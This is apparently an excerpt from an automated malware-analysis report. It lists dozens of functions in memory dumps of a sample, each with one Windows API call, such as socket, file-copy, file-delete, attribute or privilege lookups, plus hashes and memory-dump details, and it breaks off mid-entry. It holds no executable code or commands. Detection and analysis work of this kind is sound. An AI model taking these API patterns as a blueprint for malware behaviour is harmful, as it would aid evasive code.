API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 2bf6389655d61032784b6a0787e54949a59839257507bd665d69ea1f1391305b
Instruction ID: fbec490e8b6d7c3591dab52b5b5add3551c5caac126983c5b28dc19b20e602f1
Opcode Fuzzy Hash: 2bf6389655d61032784b6a0787e54949a59839257507bd665d69ea1f1391305b
Instruction Fuzzy Hash: D3110672504244AFEB20CF16DC85F66FBE8EF04720F18846AED48DB241C374A404CB71

Uniqueness

Uniqueness Score: -1.00%

Function 058A3338, Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 058A33A5

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 37a9d02eb4ffe4a4f232a6595c6707b026d3d5ab78b21f0c6b68bae76c38fe10
Instruction ID: 196f0a0877b56d2cf14076ec1d1f5d443aeb2a7d7d48d5a2e101117d757780b4
Opcode Fuzzy Hash: 37a9d02eb4ffe4a4f232a6595c6707b026d3d5ab78b21f0c6b68bae76c38fe10
Instruction Fuzzy Hash: C51193714093C0AFDB228F25DC84A62FFB4EF06210F0888DEED854B553D275A858DB62

Uniqueness

Uniqueness Score: -1.00%

Function 058A196A, Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32 ref: 058A19D6

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 9f2ef8be934a264e81193c9ad8f30a752f9ab69c6ba458355012155113374106
Instruction ID: 191192b865e10c22d271bb5be59954fca8c49d5ad347ac721b726a526f56b541
Opcode Fuzzy Hash: 9f2ef8be934a264e81193c9ad8f30a752f9ab69c6ba458355012155113374106
Instruction Fuzzy Hash: B91160325083809FDB228F55DC44A52FFB4FF49210F0885AAED858B562D379A458DB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A513F, Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 058A51A9

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 1126eb1487880da2bd74764e91e9f02c4538e76c910d92a7c0466abd455ad31f
Instruction ID: b8acae9dbddc5da9569749018d47976ef87a6737e853c657dcef8dff5510f996
Opcode Fuzzy Hash: 1126eb1487880da2bd74764e91e9f02c4538e76c910d92a7c0466abd455ad31f
Instruction Fuzzy Hash: EC11D0724093849FDB228F15DC45F62FFB4EF06224F1884EEED858B563D275A858CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310A2D6, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 0310A32C

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: bda466a3f28b862e7d1db744af86561ac0247f276f1582109b764db3d985dc34
Instruction ID: fc388d1cd78dba6571b6c46f91e120b90053ba3ae9f83fb3f47560658dadc552
Opcode Fuzzy Hash: bda466a3f28b862e7d1db744af86561ac0247f276f1582109b764db3d985dc34
Instruction Fuzzy Hash: A01186715093809FD712CF25DC85B56BFA8EF46620F0CC4EAED859F652D375A408CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A31F0, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,?), ref: 058A324F

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: da519b6cb45df52d11e998b0b9fbcf130bcd2ac05efdae85c3bcc08dae1c5383
Instruction ID: 5d9093dff6620a738304e15f36eb2e87f2a5c375adb08d7ca60323a349d3c9e0
Opcode Fuzzy Hash: da519b6cb45df52d11e998b0b9fbcf130bcd2ac05efdae85c3bcc08dae1c5383
Instruction Fuzzy Hash: DA1194725083849FD7118F25DC45B62FFA8EF06220F0884AEED858B252D275E808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310A87F, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0310A8E0

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 192f37720178565e26978252c299abca1b9631ac2d225d0339b06ebcca5b53c5
Instruction ID: 8b1211af4c249f163845af307ab535375dc91df8429813ca70a3a1693fbc3645
Opcode Fuzzy Hash: 192f37720178565e26978252c299abca1b9631ac2d225d0339b06ebcca5b53c5
Instruction Fuzzy Hash: 2211BF714493C09FDB12CF15DC85B52BFB4EF06224F0884EAED848F293D279A408CB62

Uniqueness

Uniqueness Score: -1.00%

Function 058A14A4, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A1504

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 6c525052cb08e7b2552dc4a759a3e8c671ac1326b4e02e8e2c547e8a1630323e
Instruction ID: 6514ba6a8f7b70a6d508a1591e7a45513a16a9fa7b315953d2439644f2e422f8
Opcode Fuzzy Hash: 6c525052cb08e7b2552dc4a759a3e8c671ac1326b4e02e8e2c547e8a1630323e
Instruction Fuzzy Hash: BA119072409380AFDB228F55DC44A52FFB4EF45220F0888AEED858B162D379A418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A4B92, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 058A4BDA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: b06c915cad6b6f934ffffeed88fbbcb31bc1f908c53179683816ce25e7a87a43
Instruction ID: 8da9ccc09067c06906088c2ff4d1cb2119de1988a8b1efedf553421a519f632a
Opcode Fuzzy Hash: b06c915cad6b6f934ffffeed88fbbcb31bc1f908c53179683816ce25e7a87a43
Instruction Fuzzy Hash: 421152726043408FFF20CF69D885B66FBE8EF04620F0884AADD4ACB651D6B5D845CA71

Uniqueness

Uniqueness Score: -1.00%

Function 058A4696, Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A46DE

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: b06c915cad6b6f934ffffeed88fbbcb31bc1f908c53179683816ce25e7a87a43
Instruction ID: 637f7f165926708b8f181de34c75eae33593d62692573fb905e6c69efa41b8c8
Opcode Fuzzy Hash: b06c915cad6b6f934ffffeed88fbbcb31bc1f908c53179683816ce25e7a87a43
Instruction Fuzzy Hash: CA1165726042448FEF20CF29EC45B66FBD8EF44624F0884AADD45CB651D6B5E814CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310BD42, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E2C,32A556AD,00000000,00000000,00000000,00000000), ref: 0310BD95

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b4c67dc7997dc35ee9849160a76df72dc7b30352e493ac2c069c292b6b85ac7b
Instruction ID: 9357ad8aae96a5b9e0b68875698455f01cdde5e7f79d697b100efbbd8e42dfce
Opcode Fuzzy Hash: b4c67dc7997dc35ee9849160a76df72dc7b30352e493ac2c069c292b6b85ac7b
Instruction Fuzzy Hash: 4501D271504244AFE720CB1ADC85BA6FBDCEF08721F18C4AAED489B281D3B4E4448BB1

Uniqueness

Uniqueness Score: -1.00%

Function 058A21B2, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

DrawTextExW.USER32(?,?,?,?,?,?), ref: 058A2203

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: c4df5a24488c399dd458741ee3022b78d394718ab303f03fc49de0e44f5b8735
Instruction ID: 8e0f11ea11d1d35779cb1f18009f566c3e454c5be19cf0588f0695e8c506ad0b
Opcode Fuzzy Hash: c4df5a24488c399dd458741ee3022b78d394718ab303f03fc49de0e44f5b8735
Instruction Fuzzy Hash: E2114C365042449FEB20CF55D884B66FBE4FF08610F0884AADD4ACB652E275E814CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0310A9F0, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32 ref: 0310AA4A

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f4f8486f2c33fa20f65aaaac00441dee76f48637817a286a5b81c816ae45c7ee
Instruction ID: 82146922f6351ff02c8b806a4a58efb59e4e37b34da068e20c2ba705b5b4a4b4
Opcode Fuzzy Hash: f4f8486f2c33fa20f65aaaac00441dee76f48637817a286a5b81c816ae45c7ee
Instruction Fuzzy Hash: BC117C324097849FD721CF15DC85B52FFB4EF4A620F08C4DAED858B2A2D375A818CB62

Uniqueness

Uniqueness Score: -1.00%

Function 058A477E, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A47BB

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bd164322f961da77687e68211abfd682363ad3fed6a25c368cb0429eaf6956b7
Instruction ID: 53363988fe7bd8cc639524318d9c58566379047a06693dd12a4a97beedb533b5
Opcode Fuzzy Hash: bd164322f961da77687e68211abfd682363ad3fed6a25c368cb0429eaf6956b7
Instruction Fuzzy Hash: FC01B5725042888FEF11CF29EC85B66FBD8EF05220F08C4AADD49CB651D2B5D804CF61

Uniqueness

Uniqueness Score: -1.00%

Function 058A4ADE, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A4B18

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e29de6773d59b30b23c70007096e9231d918e3c9e4d64e5a351ded976783d29f
Instruction ID: 891ae167dfc92c8c1a5941c2b52758ba4d52b30268d96f51bc7aadb922e358c7
Opcode Fuzzy Hash: e29de6773d59b30b23c70007096e9231d918e3c9e4d64e5a351ded976783d29f
Instruction Fuzzy Hash: 15017572A042448FFF10CF69E885766FBD8EF44621F18C4AADD4ACB652D2B5E805CB61

Uniqueness

Uniqueness Score: -1.00%

Function 058A141E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(?,00000E2C,?,?), ref: 058A146E

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: b8be368bdfd976f5def8f16c110297b1cce00f4dbe9c44166bb14b12c68c4470
Instruction ID: c52bef78cafba9e58775878f687fd0e3aab68366acf77adfc1da05d9b9f363b2
Opcode Fuzzy Hash: b8be368bdfd976f5def8f16c110297b1cce00f4dbe9c44166bb14b12c68c4470
Instruction Fuzzy Hash: 4E017171500200ABD710DF26DC86B26FBA8FB88B20F14856AED089B641E235F515CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 058A1A7A, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,00000E2C,?,?), ref: 058A1ACA

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileNameTemp
String ID:
API String ID: 745986568-0
Opcode ID: f56eb00bf99e1fcd207368c7c5a520f40e5f33fe1a8ee7685ffd853c4c903196
Instruction ID: 13bd4c1a79879117bef18ff66805589cfc0502e55624acdb6a0b56827809ec62
Opcode Fuzzy Hash: f56eb00bf99e1fcd207368c7c5a520f40e5f33fe1a8ee7685ffd853c4c903196
Instruction Fuzzy Hash: 6A017171500200ABD710DF26DC86B26FBA8FB88B20F14856AED489B641E235F515CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 058A1BCE, Relevance: 1.5, APIs: 1, Instructions: 46libraryCOMMON

Download Yara Rule

APIs

LoadLibraryShim.MSCOREE(?,?,?,?), ref: 058A1C19

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: LibraryLoadShim
String ID:
API String ID: 1475914169-0
Opcode ID: f84913aa2637c02e803f95179743f0141f9a90a06ada868c3052f5f4de03da5f
Instruction ID: 4445c3e2eb7cd21c2a4a1628ab83fa613b72deb9eb18db082e203ae01a8fd1e3
Opcode Fuzzy Hash: f84913aa2637c02e803f95179743f0141f9a90a06ada868c3052f5f4de03da5f
Instruction Fuzzy Hash: 1B0140725046449FFB60DF19D889B62FBE4FF04620F088499DD85CB655D375E805CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0310A5D6, Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0310A61A

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 42ce7d65a8887cba84e39ada591aa31e664c34ba03f25655aee29a40781d1643
Instruction ID: 07477acf218bbd67c8d0380d2510acfc22dc8bcab0f898cd186b2661f150f1ce
Opcode Fuzzy Hash: 42ce7d65a8887cba84e39ada591aa31e664c34ba03f25655aee29a40781d1643
Instruction Fuzzy Hash: 4B015B324007409FDB21CF55E844B56FFF4EF08720F08C8AADD894A651D375A019DF61

Uniqueness

Uniqueness Score: -1.00%

Function 058A1992, Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32 ref: 058A19D6

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 64656b91b38fb4bc69e7419799b9221cc95abb8905f949cddfb44376fa0fe73a
Instruction ID: 956dda4644ce01721a7dffb5f8dc3f14208d433c97b13080838dda422d52c025
Opcode Fuzzy Hash: 64656b91b38fb4bc69e7419799b9221cc95abb8905f949cddfb44376fa0fe73a
Instruction Fuzzy Hash: 1601AD32400340DFEB21CF55E848B66FFA1FF08720F0888AADE858A612D375E418DF61

Uniqueness

Uniqueness Score: -1.00%

Function 058A3212, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,?), ref: 058A324F

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: TextWindow
String ID:
API String ID: 530164218-0
Opcode ID: df8ef8064e5ca1789d64d295f9b2a0a9eac34b44ab3fe444d742ff45680f0c61
Instruction ID: 47a1dacb94f1c0ac7cb092e49f4606f8a56b7fa8cb2c14cc660f587063242b56
Opcode Fuzzy Hash: df8ef8064e5ca1789d64d295f9b2a0a9eac34b44ab3fe444d742ff45680f0c61
Instruction Fuzzy Hash: DD0171766043448FEB20CF1AE885766FBA4EF44621F08C4AADD45CB651E675E808CA62

Uniqueness

Uniqueness Score: -1.00%

Function 0310B7B2, Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000E2C,?,?), ref: 0310B802

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b279ad9e24ca2a427b87b283e9397fc85de70f74a12cf94fe33b852cb877a1d6
Instruction ID: 5adc402020a7e5082c1ec25377443d5dec644c3e8cf04d4ee35586594f298562
Opcode Fuzzy Hash: b279ad9e24ca2a427b87b283e9397fc85de70f74a12cf94fe33b852cb877a1d6
Instruction Fuzzy Hash: 8F016275500600ABD210DF1ADC86B26FBE8FB88B20F14C55AED485B741E271F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0310B952, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 0310B990

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: ed32e0de309da84a85f52ae47fb41159fb9f779100a8e171f9b76cd7539cdcd3
Instruction ID: bbd2c7dcec54a26646dd1c8bafe48ab1134e4cf97e129e2eacbf74a384d788e5
Opcode Fuzzy Hash: ed32e0de309da84a85f52ae47fb41159fb9f779100a8e171f9b76cd7539cdcd3
Instruction Fuzzy Hash: 28015E71504244DFDB21CF55E844B66FBA4EF08720F08C8AADD898B656D3B5E458CF72

Uniqueness

Uniqueness Score: -1.00%

Function 0310A2FA, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 0310A32C

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: ff68c06ee0c857f3dd7e1c2cb3fe4076a1eab6466eabf55e53cd9e021a2edaed
Instruction ID: 76d019872636fbfeee5fe387f25f32b95a0784aecf48ea78a0d39a8372060433
Opcode Fuzzy Hash: ff68c06ee0c857f3dd7e1c2cb3fe4076a1eab6466eabf55e53cd9e021a2edaed
Instruction Fuzzy Hash: AC018F759043408FDB20CF29E885766FBA4EF08620F08C4AADD498F682D7B5A448CF61

Uniqueness

Uniqueness Score: -1.00%

Function 058A14C6, Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNEL32(?,?,?,?,?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 058A1504

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 0aa17b563e5013ebb7d7c9e84342ba860ee9d8f566473c069246fccaf9a1e47d
Instruction ID: ed2748ddd369eaaf78ee8b4f60c1b2412ad02fedcfc379e7118768856d51eac7
Opcode Fuzzy Hash: 0aa17b563e5013ebb7d7c9e84342ba860ee9d8f566473c069246fccaf9a1e47d
Instruction Fuzzy Hash: 39018C324002449FEB20CF55E848B66FBE1EF04720F0888AADD868B612D375A418CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0581AEA8, Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

$4|p, xrefs: 0581AF27

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: $4|p
API String ID: 0-4277792255
Opcode ID: 63233783ba98507b107b7b8e9dca4d08016e1547f95714f5eb77975030435fab
Instruction ID: 134a2f1c9b4cb3e6078871a9f837c25a8c9c3c2baaefbacb0b13be97af8ef278
Opcode Fuzzy Hash: 63233783ba98507b107b7b8e9dca4d08016e1547f95714f5eb77975030435fab
Instruction Fuzzy Hash: 23C1E534A01218DFDB14DFB4C894EADBBB2FF89300F5584A8E506AB3A5CB71A905CF44

Uniqueness

Uniqueness Score: -1.00%

Function 058A516E, Relevance: 1.5, APIs: 1, Instructions: 42windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 058A51A9

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 887754ec11ba2bddb429343af6983c8643fb77210e03ea7a98b04797f9cf41d9
Instruction ID: 84728c164c8aa668dd49f567687973cd94dd3b25510d79613130f562e156b403
Opcode Fuzzy Hash: 887754ec11ba2bddb429343af6983c8643fb77210e03ea7a98b04797f9cf41d9
Instruction Fuzzy Hash: 1A01B136500344DFEB208F15E844B66FBA4EF04320F18C4AEDD458B651D271E858CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0310BA0A, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32(?,?,?), ref: 0310BA42

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 73bfc40336798ef87256af6e1d6ce93649a2fe917fd55323f56e305854818a22
Instruction ID: dfe908620c6a5adf887a984887fa7264da99da092348a30412b0fc8c802bd1c9
Opcode Fuzzy Hash: 73bfc40336798ef87256af6e1d6ce93649a2fe917fd55323f56e305854818a22
Instruction Fuzzy Hash: CA015A71808240DFDB20CF55E885B66FFA4EF08620F08D4AADD899B252D3B5E548CB72

Uniqueness

Uniqueness Score: -1.00%

Function 0310A8AE, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0310A8E0

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: daea6c7366bacdfaa31e95f322be72fc2c55f86685a27cff0311ecf3ee354db8
Instruction ID: 5602d9c29dcb53e2638f1b5d01b28c49ac9cb5e7a4039bcb5e0b84e4269a7721
Opcode Fuzzy Hash: daea6c7366bacdfaa31e95f322be72fc2c55f86685a27cff0311ecf3ee354db8
Instruction Fuzzy Hash: CA01AD709043408FDB20CF15E884766FBA4EF08321F18C4EADD888F242D3B9A548CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 058A336A, Relevance: 1.5, APIs: 1, Instructions: 38windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 058A33A5

Memory Dump Source

Source File: 00000000.00000002.253342707.00000000058A0000.00000040.00000001.sdmp, Offset: 058A0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 888b4c1255d99c93227f62fa8e1750c6862c805df5434894283d0e8a6f8aa0b1
Instruction ID: 1588f8ba418686d67da37f4a1485a5c00cd2951a83596ed5399448cf2655cf81
Opcode Fuzzy Hash: 888b4c1255d99c93227f62fa8e1750c6862c805df5434894283d0e8a6f8aa0b1
Instruction Fuzzy Hash: 9E018F36904744DFEB20CF4AE844B66FBA0EF04320F08C89ADE854B612D775A858CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0310AA12, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

SetWindowLongW.USER32 ref: 0310AA4A

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: LongWindow
String ID:
API String ID: 1378638983-0
Opcode ID: f82b7a812468f99ff6c4dbc30de902075a94273a65e6a87ad78c58c07de7d434
Instruction ID: d646ecbad179cde5ecb348532bdc3ce27b113b4287d43181347439329812cca4
Opcode Fuzzy Hash: f82b7a812468f99ff6c4dbc30de902075a94273a65e6a87ad78c58c07de7d434
Instruction Fuzzy Hash: 1401AD31400780CFDB20CF05E984B66FFA4EF08720F08C4AADD854B692D3B5A448CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0581AEB8, Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

$4|p, xrefs: 0581AF27

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: $4|p
API String ID: 0-4277792255
Opcode ID: f527bae815348c5258c1244dbf864bedd7174ba968e72ec6aceeb13f7476f465
Instruction ID: 56664fba3ef58e9255e3978ad34da2378ccb176f5c8814e77275ae28035762a8
Opcode Fuzzy Hash: f527bae815348c5258c1244dbf864bedd7174ba968e72ec6aceeb13f7476f465
Instruction Fuzzy Hash: D5C1D534A41218DFDB54DFB4C894EADBBB2FF89304F5184A8E509AB3A5CB71A905CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0310A69A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,32A556AD,00000000,?,?,?,?,?,?,?,?,723F3C38), ref: 0310A6CC

Memory Dump Source

Source File: 00000000.00000002.249725954.000000000310A000.00000040.00000001.sdmp, Offset: 0310A000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 09d3a847b3fecfa3321cc2bcfd8b5b4a7dd98fdf186a5950d5a3a4e9eb9f304c
Instruction ID: ca57606a9930b486c7a13c85d318a16aa910b114a6e0ac9e02b1a3b78f083aea
Opcode Fuzzy Hash: 09d3a847b3fecfa3321cc2bcfd8b5b4a7dd98fdf186a5950d5a3a4e9eb9f304c
Instruction Fuzzy Hash: CBF0AF34904344CFDB20DF06E884766FBA4EF08720F08C0EADD494B296D3B5A448CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 0311AC6F, Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

?rUS, xrefs: 0311AC8C

Memory Dump Source

Source File: 00000000.00000002.249733298.0000000003112000.00000040.00000001.sdmp, Offset: 03112000, based on PE: false

Similarity

API ID:
String ID: ?rUS
API String ID: 0-3956744842
Opcode ID: 180180368dbfa1c874a62dc976ec056ee9c0f93a3af49927ef1e52d0cc523d29
Instruction ID: 91cb032a7fbcb9ca5ff72d874908297e49f0084ac825015e9da930759006defd
Opcode Fuzzy Hash: 180180368dbfa1c874a62dc976ec056ee9c0f93a3af49927ef1e52d0cc523d29
Instruction Fuzzy Hash: 63218EB6509340AFD710CF09EC41A57FBE8EB89620F18C86FFD4897211D235E9048FA2

Uniqueness

Uniqueness Score: -1.00%

Function 0311AB44, Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

?rUS, xrefs: 0311AB60

Memory Dump Source

Source File: 00000000.00000002.249733298.0000000003112000.00000040.00000001.sdmp, Offset: 03112000, based on PE: false

Similarity

API ID:
String ID: ?rUS
API String ID: 0-3956744842
Opcode ID: a3348412c24241d0d22b73bd85593db9940541c1198b936aa6eb1d1e778c5a5e
Instruction ID: 8672b0cc5fc6a8324f12a27ce456399ac9fe73473172d96eb9b2245179519183
Opcode Fuzzy Hash: a3348412c24241d0d22b73bd85593db9940541c1198b936aa6eb1d1e778c5a5e
Instruction Fuzzy Hash: 87215EB6509340AFD710CF09EC41E57FFE8EB89620F18C96FFD4997611D235A9148BA2

Uniqueness

Uniqueness Score: -1.00%

Function 0311AA19, Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

?rUS, xrefs: 0311AA34

Memory Dump Source

Source File: 00000000.00000002.249733298.0000000003112000.00000040.00000001.sdmp, Offset: 03112000, based on PE: false

Similarity

API ID:
String ID: ?rUS
API String ID: 0-3956744842
Opcode ID: 40108570f8785dd696270c74b7e117c19bc83033bf018b45dca987fc1e540cec
Instruction ID: a1737fad89041589e751fb6b4050996a49ef6375bc806f7a29cdde4205457f0f
